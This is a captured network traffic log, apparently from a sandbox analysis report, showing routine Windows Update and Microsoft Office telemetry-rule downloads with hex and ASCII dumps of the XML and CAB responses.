2024-10-18 21:46:18 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-18 21:46:19 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-18 21:46:19 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-18 21:46:19 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-18 21:46:19 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-18 21:46:19 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49723	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:20 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GDTyRmY9PVNrpbU&MD=x2G2n2XX HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-18 21:46:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ffbfad98-7b21-4732-ad37-68776fc339ac MS-RequestId: 38a3b17d-6b7e-4808-8d19-2e8b21e16cd5 MS-CV: CtKri9yWik+DfSUG.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 18 Oct 2024 21:46:19 GMT Connection: close Content-Length: 24490
2024-10-18 21:46:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-18 21:46:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.5	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:20 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:20 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:20 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 2bfbe8ba-001e-00ad-34d8-1e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214620Z-16b659b4499pnh69zuen6a54mc0000000b900000000083ts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:20 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.5	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:20 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:20 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:20 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 38849ee3-801e-008c-2cd8-1e7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214620Z-r197bdfb6b4cz6xrsdncwtgzd40000000ccg000000000tgk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:20 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:20 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:20 UTC	498	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:20 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 52fc638d-b01e-0070-36c5-201cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214620Z-15b8d89586fdmfsgn8gw8tkkbc00000005h00000000093c0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-18 21:46:20 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:20 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:20 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 1958fb0e-301e-0020-0cd8-1e6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214620Z-15b8d89586flspj6f2320qac9400000005pg00000000cvpt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:20 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:20 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:20 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:20 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c8d8f407-d01e-005a-22d8-1e7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214620Z-16b659b4499p9z6wm7hd85vp6w00000001rg00000000dsks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:20 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:21 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: dd01a525-501e-0064-08d8-1e1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214621Z-r197bdfb6b4rt57kw3q0f43mqg00000003bg00000000rbw7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:21 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:21 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 51cf8b7e-b01e-0098-14d8-1ecead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214621Z-r197bdfb6b42sc4ddemybqpm140000000c8g0000000080b5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
